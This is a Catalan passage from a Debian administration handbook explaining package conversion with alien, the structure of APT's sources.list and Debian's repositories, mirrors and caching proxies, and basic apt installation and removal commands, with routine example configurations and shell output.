En aquest cas, hauríeu de saber que el programa rpm, que gestiona els paquets RPM, està disponible com a paquet Debian, de manera que és possible utilitzar aquest format de paquet a Debian. No obstant això, cal anar amb compte de limitar aquestes manipulacions per a extreure la informació d'un paquet o per a verificar la seva integritat. És, en realitat, poc raonable utilitzar rpm per instal·lar un paquet RPM en un sistema Debian; RPM utilitza la seva pròpia base de dades, separada de les de programari natiu (com dpkg). Per això no és possible garantir una coexistència estable dels dos sistemes de paquets.

D'altra banda, la utilitat alien pot convertir paquets RPM en paquets Debian, i viceversa.

COMUNITAT Fomentant l'adopció de .deb

Si utilitzeu regularment el programa alien per instal·lar paquets RPM procedents d'un dels vostres proveïdors, no dubteu a escriure'ls i expresseu-los amistosament la vostra forta preferència pel format .deb. Tingueu en compte que el format del paquet no és tot: un paquet .deb construït amb alien o preparat per a una versió de Debian diferent de la que utilitzeu, o fins i tot per a una distribució derivada com Ubuntu, probablement no ofereix el mateix nivell de qualitat i integració com un paquet específicament desenvolupat per a Debian Bullseye.

$ fakeroot alien --to-deb phpMyAdmin-5.1.1-2.fc35.noarch.rpm [..] Warning: Skipping conversion of scripts in package phpMyAdmin: postinst Warning: Use the --scripts parameter to include the scripts. [..] phpmyadmin_5.1.1-3_all.deb generated $ ls -sh phpmyadmin_5.1.1-3_all.deb 6,0M phpmyadmin_5.1.1-3_all.deb $ dpkg -c phpmyadmin_5.1.1-3_all.deb drwxr-xr-x root/root 0 2021-08-09 02:02 ./ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/conf.d/ -rw-r--r-- root/root 1181 2021-07-27 09:32 ./etc/httpd/conf.d/phpMyAdmin.conf drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/default.d/ -rw-r--r-- root/root 430 2021-07-27 09:32 ./etc/nginx/default.d/phpMyAdmin.conf drwxr-x--- root/root 0 2021-08-09 02:02 ./etc/phpMyAdmin/ -rw-r----- root/root 4546 2021-07-27 09:34 ./etc/phpMyAdmin/config.inc.php drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/phpMyAdmin/ [..] $ dpkg -I phpmyadmin_5.1.1-3_all.deb new Debian package, version 2.0. size 6195324 bytes: control archive=44444 bytes. 102 bytes, 3 lines conffiles 593 bytes, 15 lines control 180405 bytes, 1919 lines md5sums 448 bytes, 11 lines * postinst #!/bin/sh Package: phpmyadmin Version: 5.1.1-3 Architecture: all Maintainer: Daniel Leidert <dleidert@debian.org> Installed-Size: 40693 Section: alien Priority: extra Description: A web interface for MySQL and MariaDB phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields, manage privileges,export data into various formats and is available in 50 languages . (Converted from a rpm package by alien version 8.95.4.)

Veureu que aquest procés és extremadament senzill. No obstant això, cal saber que el paquet generat no té cap informació de dependència, ja que les dependències dels dos formats de paquet no tenen una correspondència sistemàtica. Per això, l'administrador ha de garantir manualment que el paquet convertit funcioni correctament, i per aquest motiu els paquets Debian generats així han d'evitar-se tant com sigui possible. Afortunadament, Debian té la col·lecció més gran de paquets de programari de totes les distribucions, i és probable que el que busqueu ja hi sigui.

Mirant la pàgina man per a l'ordre alien, també observareu que aquest programa gestiona altres formats de paquet, especialment el que utilitza la distribució Slackware (que està fet d'un simple arxiu tar.gz).

L'estabilitat del programari desplegat utilitzant l'eina dpkg contribueix a la fama de Debian. La suite d'eines APT, descrita en el següent capítol, conserva aquest avantatge, al temps que alleuja l'administrador de la gestió de l'estat dels paquets, una tasca necessària però difícil.

Capítol 6. Manteniment i actualitzacions: Les eines APT

El que fa que Debian sigui tan popular entre els administradors és la facilitat amb què es pot instal·lar programari i la facilitat amb què es pot actualitzar tot el sistema. Aquest avantatge únic es deu en gran part al programa APT, que els administradors de Falcot Corp van estudiar amb entusiasme.

APT són les inicials d'«Advanced Packaging Tool» o “Eina Avançada de Paquets”. El que fa que aquest programa sigui “avançat” és el seu enfocament sobre els paquets. No només els avalua individualment, sinó que els considera en conjunt i produeix la millor combinació possible de paquets depenent de què està disponible i és compatible d'acord amb les dependències.

VOCABULARI Font del paquet i paquet font

La paraula font pot ser ambigua (de l'anglès «source» ). Un “paquet de codi font” — un paquet que conté el codi font d'un programa — no s'ha de confondre amb una “font de paquet” — un repositori o dipòsit (lloc web, servidor FTP, CD-ROM, directori local, etc.) que conté paquets.

APT necessita que se li doni una “llista de fonts de paquets (repositoris)”: el fitxer /etc/apt/sources.list llistarà diferents repositoris que publiquen paquets Debian. APT importarà llavors la llista de paquets publicats per cadascuna d'aquestes fonts. Aquesta operació es duu a terme baixant arxius Packages.xz o una variant com ara Packages.gz o .bz2 (utilitzant un mètode de compressió diferent) en cas d'una font de paquets binaris, i analitzant-ne el contingut. En el cas d'una font de paquets font, APT descarrega arxius Sources.xz o una variant utilitzant un mètode de compressió diferent. Quan ja hi ha una còpia antiga d'aquests arxius, APT pot actualitzar-la només baixant les diferències (vegeu el requadre SUGGERIMENT Actualitzacions incrementals).

TORNAR A LES BASES Compressió amb gzip, bzip2, LZMA i XZ

Una extensió .gz fa referència a un fitxer comprimit amb la utilitat gzip. gzip és la utilitat d'Unix tradicional ràpida i eficient per comprimir fitxers. Eines més noves aconsegueixen millors taxes de compressió però requereixen més recursos (temps de còmput i memòria) per comprimir i descomprimir un fitxer. Entre ells, i per ordre d'aparició, hi ha bzip2 (generant fitxers amb extensió .bz2 ), lzma (generant arxius .lzma) i xz (generant arxius .xz).

6.1. Omplint el fitxer sources.list

6.1.1. Sintaxi

Cada línia activa en el fitxer /etc/apt/sources.list representa una font de paquets (repositori) i està composta d'almenys tres parts separades per espais. Per a una descripció completa del format de fitxer i de les composicions acceptades d'una entrada vegeu sources.list(5).

Exemple 6.1. Exemple del format d'una entrada de /etc/apt/sources.list

deb url distribució component1 component2 component3 [..] componentX deb-src url distribució component1 component2 component3 [..] componentX

El primer camp indica el tipus de font:

deb

font de paquets (repositori) de paquets binaris

deb-src

font de paquets (repositori) de paquets font

El segon camp dóna l'URL base de la font. Combinat amb els noms de fitxer llistats en els fitxers Packages.xz, ha de donar un URL complet i vàlid. Això pot consistir en un mirall Debian o en qualsevol altre arxiu de paquets configurat per un tercer. L'URL pot començar amb file:// per indicar una font local instal·lada a la jerarquia de fitxers del sistema, amb http:// o https:// per indicar una font accessible des d'un servidor web, o amb ftp:// o ftps:// per a una font disponible en un servidor FTP. L'URL també pot començar amb cdrom: per instal·lacions basades en CD-ROM/DVD/Blu-ray, encara que això és menys freqüent, ja que els mètodes d'instal·lació basats en xarxa són més comuns. Altres mètodes com ssh:// o tor+http(s):// estan suportats i es troben explicats a sources.list(5) o a la documentació dels respectius paquets apt-transport-mètode.

La sintaxi del darrer camp depèn de l'estructura del repositori. En el cas més simple, es pot simplement indicar un subdirectori (amb una barra final requerida) de la font desitjada. Sovint es tracta d'un simple “./” que es refereix a l'absència d'un subdirectori. Els paquets es troben directament a l'URL especificat. Però en el cas més comú, els repositoris s'estructuraran com un mirall de Debian, amb múltiples distribucions, cadascuna amb múltiples components. En aquests casos, anomeneu la distribució escollida pel seu «codename» — vegeu la llista a la barra lateral COMUNITAT Bruce Perens, un líder polèmic — o per la corresponent «suite» (oldoldstable,oldstable, stable, testing, unstable) i després els components a activar. Un mirall Debian típic proporciona els components main, contrib, i non-free.

VOCABULARI Els arxius main, contrib i non-free

Debian utilitza tres components per diferenciar paquets segons les llicències escollides pels autors de cada obra. Main (principal) recull tots els paquets que compleixen plenament amb les Directrius de Programari Lliure de Debian.

El component non-free és diferent perquè conté programari que no s'ajusta (totalment) a aquests principis però que, no obstant això, es pot distribuir sense restriccions. Aquest arxiu, que no és oficialment part de Debian, és un servei per als usuaris que podrien necessitar alguns d'aquests programes i, avui dia, també requereixen el microprogramari per al seu maquinari. Tanmateix, Debian sempre recomana donar prioritat al programari lliure. L'existència d'aquest component representa un problema considerable per a Richard M. Stallman i fa que la Free Software Foundation no recomani Debian als usuaris.

Contrib (contribucions) és un conjunt de programari de codi obert que no pot funcionar sense alguns elements no lliures — aquests elements poden ser programari de la secció non-free, o arxius no lliures com ROMs de jocs, BIOS de les consoles, etc. — o alguns elements no disponibles a Debianmain. El component contrib també inclou programari lliure la compilació del qual requereix elements propietaris. Aquest va ser inicialment el cas de la suite ofimàtica OpenOffice.org, que solia requerir un entorn de Java propietari.

SUGGERIMENT Arxius a /etc/apt/sources.list.d/

Si es fa referència a moltes fonts de paquets, pot ser útil dividir-les en múltiples fitxers. Cada part es desa a /etc/apt/sources.list.d/arxiu.list (vegeu el quadre TORNAR A LES BASES Directoris acabats en .d).

Les entrades cdrom descriuen els CD/DVD-ROMs que teniu. Contràriament a altres entrades, un CD-ROM no sempre està disponible, ja que s'ha d'inserir a la unitat i ja que només es pot llegir un disc alhora. Per aquestes raons, aquestes fonts es gestionen d'una manera lleugerament diferent, i s'han d'afegir amb el programa apt-cdrom, normalment executat amb el paràmetre add. Aquest últim sol·licitarà que el disc s'insereixi a la unitat i navegarà pels seus continguts cercant arxius Packages. Utilitzarà aquests fitxers per actualitzar la seva base de dades de paquets disponibles (aquesta operació es fa normalment amb l'ordre apt update). A partir de llavors, APT pot requerir que el disc s'insereixi si necessita un dels seus paquets.

6.1.2. Repositoris per a usuaris de Stable

Aquí hi ha un sources.list estàndard per a un sistema que executa la versió Stable de Debian:

Exemple 6.2. Arxiu /etc/apt/sources.list per a usuaris de Debian «Stable»

# Security updates deb http://security.debian.org/ bullseye-security main contrib non-free deb-src http://security.debian.org/ bullseye-security main contrib non-free ## Debian mirror # Base repository deb https://deb.debian.org/debian bullseye main contrib non-free deb-src https://deb.debian.org/debian bullseye main contrib non-free # Stable updates deb https://deb.debian.org/debian bullseye-updates main contrib non-free deb-src https://deb.debian.org/debian bullseye-updates main contrib non-free # Stable backports deb https://deb.debian.org/debian bullseye-backports main contrib non-free deb-src https://deb.debian.org/debian bullseye-backports main contrib non-free

Aquest fitxer llista totes les fonts de paquets associats amb la versió Bullseye de Debian (l'actual Stable en el moment d'escriure el llibre). En l'exemple anterior, optem per anomenar “bullseye” explícitament en lloc d'utilitzar els corresponents àlies “stable” (stable, stable-updates, stable-backports) perquè no volem que la distribució subjacent s'actualitzi fora del nostre control quan el proper llançament estable surti.

La majoria dels paquets provindran del “repositori base”, que conté tots els paquets però rarament s'actualitza (aproximadament un cop cada 2 mesos per a un “versió menor” o «point release». Els altres repositoris són parcials (no contenen tots els paquets) i poden allotjar actualitzacions (paquets amb versió més recent) que APT podria instal·lar. Les següents seccions explicaran el propòsit i les regles que regeixen cadascun d'aquests repositoris.

Tingueu en compte que quan la versió desitjada d'un paquet està disponible en diversos repositoris, s'utilitzarà el primer que es llista al fitxer sources.list. Per aquesta raó, les fonts no oficials s'afegeixen normalment al final de l'arxiu.

Com a nota addicional, la major part del que diu aquesta secció sobre Stable és també aplicable a Oldstable ja que aquesta darrera és simplement una Stable antiga que es manté en paral·lel.

6.1.2.1. Actualitzacions de seguretat

Debian es pren de debò la seguretat. Les vulnerabilitats de programari conegudes a Debian se segueixen al Security Bug Tracker (Seguiment d'Errors de Seguretat) i normalment es corregeixen en un termini raonable. Les actualitzacions de seguretat no estan allotjades a la xarxa habitual de miralls Debian sinó a security.debian.org, un petit conjunt de màquines mantingudes pel Debian System Administrators (Administradors de Sistemes Debian). Aquest arxiu conté actualitzacions de seguretat preparades per l'equip de seguretat de Debian, «Debian Security Team» i/o pels mantenidors de paquets per a les distribucions Stable i Oldstable.

El servidor també pot allotjar actualitzacions de seguretat per a Testing però això no passa gaire sovint ja que aquestes actualitzacions tendeixen a arribar a la «suite» a través del flux regular d'actualitzacions procedents d'Unstable.

Per a problemes seriosos, l'equip de seguretat emet un Avís de Seguretat Debian(de l'anglès «Debian Security Advisory» o DSA, ) i l'anuncia juntament amb l'actualització de seguretat a la llista de correu <debian-security-announce@lists.debian.org> (arxiu).

6.1.2.2. Actualitzacions a Stable

Les actualitzacions de Stable no són sensibles a la seguretat però es consideren prou importants per fer-les arribar als usuaris abans de la següent versió menor estable.

Aquest repositori normalment contindrà correccions per a errors crítics o seriosos que no es van poder solucionar abans de la publicació, o que s'han introduït en actualitzacions posteriors. Depenent de la urgència, també pot contenir actualitzacions per paquets que han d'evolucionar amb el temps, com les regles de detecció de correu brossa d'spamassassin, la base de dades de virus de clamav, les regles d'horaris d'estiu de tots els fusos horaris (tzdata), la versió ESR de Firefox(firefox-esr) o conjunts de claus criptogràfiques com debian-archive-keyring.

A la pràctica, aquest repositori és un subconjunt del repositori proposed-updates, acuradament seleccionat pels Stable Release Managers. Totes les actualitzacions s'anuncien a la llista de correu <debian-stable-announce@lists.debian.org> (arxiu) i en qualsevol cas s'inclouran a la següent versió menor d'Stable.

6.1.2.3. Actualitzacions proposades

Un cop publicada, la distribució Stable només s'actualitza una vegada cada 2 mesos. El repositori proposed-updates és on es preparen les actualitzacions esperades (sota la supervisió dels Stable Release Managers).

Les actualitzacions de seguretat i de stable documentades en les seccions anteriors sempre s'inclouen en aquest dipòsit, però també n'hi ha més, perquè els mantenidors de paquets també tenen l'oportunitat de corregir errors importants que no justifiquen un llançament immediat.

Qualsevol persona pot utilitzar aquest dipòsit per provar aquestes actualitzacions abans de la seva publicació oficial. L'extracte a continuació utilitza l'àliesbullseye-proposed-updates que és alhora més explícit i més consistent ja que buster-proposed-updates també existeix (per a les actualitzacions d'Oldstable):

deb https://deb.debian.org/debian bullseye-proposed-updates main contrib non-free

6.1.2.4. Retroportabilitats per a Stable

El repositori stable-backports allotja «paquets “retroportats” (de l'anglès «backport»). El terme es refereix a un paquet d'algun programari recent que ha estat recompilat per a una distribució més antiga, generalment per a Stable.

A mida que la distribució es torna una mica antiquada, nombrosos projectes de programari han llançat noves versions que no estan integrades en la distribució actual Stable, que només es modifica per abordar els problemes més crítics, com ara els problemes de seguretat. Atès que les versions Testing i Unstable poden ser més arriscades, els mantenidors de paquets de vegades ofereixen de forma voluntària recompilacions d'aplicacions de programari recents per Stable, que té l'avantatge per als usuaris i administradors del sistema de limitar la inestabilitat potencial a un petit nombre de paquets seleccionats. La pàgina https://backports.debian.org proporciona més informació.

Les retroportabilitats d' stable-backports només es creen a partir dels paquets disponibles a Testing. Això garanteix que tots les retroportabilitats instal·lades es puguin actualitzar a la versió estable corresponent una vegada que estigui disponible el proper llançament estable de Debian.

Tot i que aquest repositori proporciona versions més noves de paquets, APT no els instal·larà llevat que doneu instruccions explícites per fer-ho (o a menys que ja ho hàgiu fet amb una versió anterior de la retroportabilitat en qüestió):

$ sudo apt-get install package/bullseye-backports $ sudo apt-get install -t bullseye-backports package

6.1.3. Repositoris per als usuaris de Testing/Unstable

Aquest és un sources.list estàndard per a un sistema que executa la versió Testing o Unstable de Debian:

Exemple 6.3. Arxiu /etc/apt/sources.list per a usuaris de Debian Testing/Unstable

# Unstable deb https://deb.debian.org/debian unstable main contrib non-free deb-src https://deb.debian.org/debian unstable main contrib non-free # Testing deb https://deb.debian.org/debian testing main contrib non-free deb-src https://deb.debian.org/debian testing main contrib non-free # Testing security updates deb http://security.debian.org/ testing-security main contrib non-free deb-src http://security.debian.org/ testing-security main contrib non-free # Stable deb https://deb.debian.org/debian stable main contrib non-free deb-src https://deb.debian.org/debian stable main contrib non-free # Stable security updates deb http://security.debian.org/ stable-security main contrib non-free deb-src http://security.debian.org/ stable-security main contrib non-free

NOTA Disposició dels repositoris de seguretat

A partir de Debian 11 Bullseye, el nom en clau del repositori que proporciona actualitzacions de seguretat s'ha reanomenat de nom-en-clau/updates a nom-en-clau-security per evitar confusions amb nom-en-clau-updates (see Secció 6.1.2.2, «Actualitzacions a Stable»).

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

Amb aquest arxiu sources.list APT instal·larà els paquets de la distribució Unstable. Si això no és el que es vol, useu la configuració APT::Default-Release (veieu Secció 6.2.3, «Actualització del sistema») per indicar a APT que agafi els paquets d'una altra distribució (en aquest cas, probablement Testing).

Hi ha bones raons per a incloure tots aquests repositoris, encara que amb un de sol hauria de ser suficient. Els usuaris de Testing apreciaran la possibilitat de seleccionar un paquet específic de Unstable quan la versió a Testing es veu afectada per un error molest. Per altra banda, els usuaris d'Unstable afectats per regressions inesperades tenen la possibilitat de desactualitzar els paquets a la versió (aparentment funcional) de Testing.

La inclusió d'Stable és més discutible, però sovint dóna accés a alguns paquets que s'han eliminat de les versions de desenvolupament. També garanteix que s'obtenen les últimes actualitzacions dels paquets que no s'han modificat des de l'última versió estable.

6.1.3.1. El repositori Experimental

L'arxiu de paquets Experimental està present en tots els miralls de Debian, i conté paquets que no estan a la versió Unstable encara a causa de la seva qualitat deficient — sovint són versions de desenvolupament de programari o versions primerenques (alfa, beta, candidats a publicació...). També s'hi pot enviar un paquet després de patir canvis posteriors que poden generar problemes. El mantenidor intenta descobrir-los amb l'ajuda d'usuaris avançats que poden tractar qüestions importants. Després d'aquesta primera etapa, el paquet és mogut a Unstable, on arriba a un públic molt més ampli i on es posarà a prova amb molt més detall.

Experimental és generalment utilitzat per usuaris que no pateixen per trencar el seu sistema i després reparar-lo. Aquesta distribució dóna la possibilitat d'importar un paquet que l'usuari vol provar o utilitzar a mesura que li sorgeixi la necessitat. Així és exactament com Debian ho enfoca, ja que afegir-la al fitxer sources.list d'APT no porta a l'ús sistemàtic dels seus paquets. La línia a afegir és:

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Ús de rèpliques alternatives

Els exemples de sources.list en aquest capítol es refereixen als repositoris de paquets allotjats a deb.debian.org. Aquests URL us redirigiran als servidors que us siguin propers i que són gestionats per la Xarxa de Distribució de Continguts (o, en anglès, «Content Delivery Networks» (CDN)) el rol principal dels quals és emmagatzemar múltiples còpies dels fitxers per tot el món, i lliurar-los tan ràpid com sigui possible als usuaris. Les empreses del CDN amb les quals Debian està treballant són socis de Debian que ofereixen els seus serveis lliurement a Debian. Mentre que cap d'aquests servidors està sota control directe de Debian, el fet que tot l'arxiu estigui segellat per signatures GPG fa que això no sigui cap problema.

→ https://deb.debian.org/

Els usuaris exigents que no estan satisfets amb el rendiment de deb.debian.org poden intentar trobar una rèplica millor a la llista de rèpliques oficial:

→ https://www.debian.org/mirror/list

Però quan no se sap quina rèplica és la millor per a un, aquesta llista no serveix de gaire. Afortunadament per a vosaltres, Debian manté entrades DNS de la forma ftp.codi-de-país.debian.org (p. ex. ftp.us.debian.org per als EUA, ftp.fr.debian.org per a França, etc.) que abasten molts països i que apunten a un (o més) de les millors rèpliques disponibles en aquell país.

Com a alternativa a deb.debian.org, hi havia httpredir.debian.org. Aquest servei identificava una rèplica propera (entre la llista de miralls oficials, utilitzant principalment GeoIP) i redirigiria les peticions d'APT a aquest mirall. Aquest servei ha estat obsoletat a causa de problemes de fiabilitat i ara httpredir.debian.org proporciona el mateix servei basat en CDN que deb.debian.org.

6.1.5. Recursos no oficials: mentors.debian.net

Hi ha nombroses fonts no oficials de paquets Debian creats per usuaris avançats que han recompilat algun programari — Ubuntu ho ha fet popular amb el seu servei Arxiu Personal de Paquets (o, en anglès, «Personal Package Archive» (PPA)) — per a programadors que ho fan disponible per a tothom, i fins i tot per a desenvolupadors de Debian que ofereixen “preversions” del seu paquet online.

El lloc mentors.debian.net és interessant (encara que només proporciona paquets de codi font), ja que recull paquets creats pels candidats a l'estatus de desenvolupador oficial de Debian o per voluntaris que volen crear paquets de Debian sense passar per aquest procés d'integració. Aquests paquets es posen a disposició sense cap garantia sobre la seva qualitat; assegureu-vos de comprovar el seu origen i la seva integritat i després proveu-los abans de considerar utilitzar-los en producció.

COMUNITAT Els llocs debian.net

El domini debian.net no és un recurs oficial del projecte Debian. Cada desenvolupador de Debian pot utilitzar aquest nom de domini per al seu propi ús. Aquests llocs web poden contenir serveis no oficials (de vegades llocs personals) allotjats en una màquina que no pertany al projecte i creada pels desenvolupadors de Debian, o fins i tot prototips abans de ser traslladats adebian.org . Dues raons poden explicar per què alguns d'aquests prototips romanen a debian.net: o bé ningú ha fet l'esforç necessari per transformar-lo en un servei oficial (allotjat en el domini debian.org, i amb una certa garantia de manteniment), o el servei és massa controvertit per ser oficialitzat.

La instal·lació d'un paquet significa donar drets de “root” al seu creador, perquè decideixen sobre el contingut dels scripts d'inicialització que són executats sota aquesta identitat. Els paquets oficials de Debian són creats per voluntaris que han estat aprovats i revisats i que poden signar els seus paquets de manera que es pugui comprovar l'origen i la integritat.

En general, desconfieu d'un paquet l'origen del qual no es coneix i que no està allotjat en un dels servidors oficials de Debian: avalueu el grau en què es pot confiar en el seu creador i comproveu la integritat del paquet.

ANANT MÉS ENLLÀ Versions de paquets antics: snapshot.debian.org i archive.debian.org

El projecte Debian freqüentment publica noves versions estables de la seva distribució, deixant versions antigues finalment obsoletes i no suportades (vegeu Secció 1.6, «Cicle de vida d'una versió»). Els repositoris que pertanyen a aquests llançaments s'eliminen dels miralls oficials, però encara es poden accedir utilitzant el servei a archive.debian.org. Tingueu en compte que aquest servei permet l'accés a qualsevol dels antics llançaments de Debian, però no proporciona el paquet font per a cada paquet binari ofert.

El servei snapshot.debian.org, introduït a l'abril del 2010, es pot utilitzar per a “anar enrere en el temps” i trobar una versió antiga binària o en codi font d'un paquet que ja no es troba als arxius de Debian. Es pot utilitzar, per exemple, per a identificar quina versió d'un paquet va introduir una regressió, i més concretament, per a tornar a la versió anterior mentre s'espera la correcció de la regressió. Aquest servei no només ofereix paquets font i binaris de versions antigues, sinó que també hi ha versions obsoletes degut a les usuals actualitzacions dels mantenidors.

6.1.6. Intermediari cau per a paquets Debian

Quan tota una xarxa de màquines està configurada per utilitzar el mateix servidor remot per descarregar els mateixos paquets actualitzats, qualsevol administrador sap que seria beneficiós tenir un intermediari (o «proxy») actuant com un cau (o «caché») per a la xarxa local (vegeu la barra lateral VOCABULARI Memòria cau).

Podeu configurar APT per utilitzar un intermediari "estàndard" (vegeu Secció 6.2.4, «Opcions de configuració» per la banda d'APT, i Secció 11.6, «Proxy HTTP/FTP» per la banda del servidor intermediari), però l'ecosistema de Debian ofereix millors opcions per resoldre aquest problema. El programari dedicat que es presenta en aquesta secció és més intel·ligent que un simple intermediari caché perquè pot es basa en l'estructura específica dels repositoris APT (per exemple, es coneix quan els fitxers individuals són obsolets o no i, per tant, ajustar el temps durant el qual es mantenen).

apt-cacher i apt-cacher-ng funcionen com els servidors intermediaris cau (o «proxy caché») normals. El sources.list d'APT es deixa igual, però APT està configurat per utilitzar-los com a «proxy» per a sol·licituds de sortints.

approx, d'altra banda, actua com un servidor HTTP que “replica” qualsevol nombre de repositoris remots en els seus URL de nivell superior. El mapatge entre aquests directoris de nivell superior i els URL remots dels repositoris s'emmagatzema a /etc/approx/aprox.conf:

# <name> <repository-base-url> debian https://deb.debian.org/debian security http://security.debian.org/debian-security

approx s'executa per defecte al port 9999 via un sòcol de systemd i requereix que els usuaris ajustin el seu fitxer sources.list per apuntar al servidor approx:

# Sample sources.list pointing to a local approx server deb http://localhost:9999/security bullseye-security main contrib non-free deb http://localhost:9999/debian bullseye main contrib non-free

6.2. Les comandes aptitude, apt-get, i apt

APT és un gran projecte, els plans originals del qual incloïen una interfície gràfica. Es basa en una biblioteca que conté l'aplicació principal, i apt-get fou el primer frontal — basat en la línia d'ordres — que es va desenvolupar dins del projecte. apt és un segon frontal basat en la línia d'ordres proporcionat per APT i que supera alguns errors de disseny d'apt-get.

Ambdues eines estan construïdes sobre la mateixa biblioteca i per tant són molt semblants, però el comportament per defecte d'apt ha estat millorat per a l'ús interactiu i per fer el que la majoria d'usuaris esperen. Els desenvolupadors d'APT es reserven el dret de canviar la interfície pública d'aquesta eina per millorar-la. Al contrari, la interfície pública d'apt-get està ben definida i no serà canviada de cap manera incompatible cap enrere. Per tant, és l'eina que voldreu utilitzar quan necessiteu fer «scripts» amb peticions d'instal·lació de paquets.

Nombroses altres interfícies gràfiques van aparèixer com a projectes externs: synaptic, aptitude (que inclou tant una interfície de mode de text com una gràfica — tot i que encara no està completa), wajig, etc. La interfície més recomanada, apt, és la que utilitzarem en els exemples donats en aquesta secció. Tingueu en compte, però, que apt-get i aptitude tenen una sintaxi molt similar a la línia d'ordres. Quan hi hagi grans diferències entre aquestes tres ordres, aquestes seran detallades.

6.2.1. Inicialització

Per a qualsevol tasca amb APT, la llista de paquets disponibles s'ha d'actualitzar; això es pot fer simplement a través d'apt update. Depenent de la velocitat de la vostra connexió i configuració, l'operació pot trigar una estona, ja que implica la descàrrega d'un cert nombre de fitxers (normalment comprimits) (Packages, Sources, Translation-codi-idioma), que gradualment s'han fet més i més grans a mesura que Debian s'ha desenvolupat (almenys 10-16 MB de dades per a la secció main). Per descomptat, la instal·lació des d'un conjunt de CD-ROM/DVD no requereix cap descàrrega — en aquest cas, l'operació és molt ràpida.

SUGGERIMENT Actualitzacions incrementals

L'objectiu de la comanda apt update és descarregar per a cada paquet font el corresponent fitxer Packages (o Sources). No obstant això, fins i tot després d'una compressió amb xz, aquests fitxers poden ser força grans (el Packages.xz per a la secció main de Unstable fa més de 8 MB). Si voleu actualitzar regularment, aquestes baixades poden trigar molt de temps.

Per accelerar el procés, APT pot descarregar fitxers «diff» que contenen els canvis des de l'actualització anterior, en comptes de tot el fitxer. Per aconseguir-ho, els miralls oficials de Debian distribueixen diferents fitxers que enumeren les diferències entre una versió del fitxer Packages i la següent versió. Es generen a cada actualització dels arxius i es conserva un historial d'una setmana. Cadascun d'aquests fitxers «diff» només té unes dotzenes de kilobytes per a Unstable, de manera que la quantitat de dades descarregades per un apt update setmanal es divideix sovint per 10. Per a Stable i Testing, que canvien menys, el guany és encara més notable.

No obstant això, de vegades pot interessar forçar la baixada de tot el fitxer Packages, especialment quan l'última actualització és molt antiga i quan el mecanisme de diferències incrementals no aportaria gaire. Això també pot ser interessant quan l'accés a la xarxa és molt ràpid, però quan el processador de la màquina per actualitzar és bastant lent, ja que el temps estalviat descarregant es menor que el que perd quan l'ordinador calcula les noves versions d'aquests fitxers (començant amb les versions anteriors i aplicant les diferències baixades). Per fer-ho, podeu utilitzar el paràmetre de configuració APT Acquire::Pdiffs i establir-lo a false.

$ sudo apt -o "Acquire::PDiffs=false" update

Les opcions Acquire::* també controlen altres aspectes de la descàrrega i fins i tot els mètodes de descàrrega. Acquire::Languages pot limitar o desactivar la baixada d'arxius Translation-codi-d'idioma per estalviar encara més temps. Per a una referència completa, veieu apt.conf(5).

6.2.2. Instal·lació i eliminació

Amb APT, els paquets es poden afegir o eliminar del sistema, respectivament, amb apt install paquet i apt remove paquet. En tots dos casos, APT instal·larà automàticament les dependències necessàries o suprimirà els paquets que depenen del paquet que s'està eliminant. L'ordre apt purge paquet implica la desinstal·lació completa eliminant també els fitxers de configuració.

SUGGERIMENTInstal·lació de la mateixa selecció de paquets diverses vegades

Pot ser útil instal·lar sistemàticament la mateixa llista de paquets en diversos ordinadors. Això es pot fer amb bastanta facilitat.

Primer, obteniu la llista de paquets instal·lats a l'ordinador que serviran com a “model” per copiar.

$ dpkg --get-selections >pkg-list

El fitxer pkg-list contindrà la llista de paquets instal·lats. A continuació, transferiu el fitxer pkg-list als ordinadors que voleu actualitzar i utilitzeu les següents comandes:

## Actualitza la base de dades de dpkg amb paquets coneguts # avail=`mktemp` # apt-cache dumpavail > "$avail" # dpkg --merge-avail "$avail" # rm -f "$avail" ## Actualitza les seleccions de dpkg # dpkg --set-selections < pkg-list ## Demana a apt-get que instal·li els paquets seleccionats # apt-get dselect-upgrade

Les primeres ordres desen la llista de paquets disponibles a la base de dades de dpkg. Llavors dpkg --set-selections restaura la selecció dels paquets que voleu instal·lar, i la invocació de apt-get executa les operacions necessàries! aptitude no té aquesta ordre.

SUGGERIMENT Eliminant i instal·lant al mateix temps

És possible demanar a apt (o apt-get, o aptitude) que instal·li certs paquets i que en suprimeixi d'altres a la mateixa línia d'ordres afegint un sufix. Amb una ordre apt install, afegiu «-» als noms dels paquets que voleu suprimir. Amb una ordre apt remove, afegiu «+» als noms dels paquets que voleu instal·lar.

El següent exemple mostra dues maneres diferents d'instal·lar paquet1 i eliminar paquet2.

# apt install paquet1paquet2-

# apt remove paquet1+ paquet2

Això també es pot utilitzar per excloure paquets que d'altra manera s'instal·larien, per exemple, a causa d'una instal·lació automàtica de Recommends. En general, el solucionador de dependències utilitzarà aquesta informació com a suggeriment per buscar solucions alternatives.

SUGGERIMENT apt --reinstall i aptitude reinstall

El sistema de vegades es pot danyar després de l'esborrat o modificació de fitxers en un paquet. La forma més fàcil de recuperar aquests fitxers és reinstal·lar el paquet afectat. Malauradament, el sistema d'empaquetament troba que aquest ja està instal·lat i educadament es nega a reinstal·lar-lo; per evitar-ho, utilitzeu l'opció --reinstall de les ordres apt i apt-get. La següent ordre reinstal·la postfix encara que ja estigui instal·lat:

# apt --reinstall install postfix

La línia d'ordres d'aptitude és lleugerament diferent, però aconsegueix el mateix resultat amb aptitude reinstall postfix.

El problema no es planteja amb dpkg, però l'administrador rarament l'utilitza directament.

Aneu amb compte! L'ús de apt --reinstall per restaurar els paquets modificats durant un atac sens dubte no recuperarà el sistema com estava. Secció 14.7, «Tractament d'una màquina compromesa» detalla els passos necessaris per fer front a un sistema compromès.

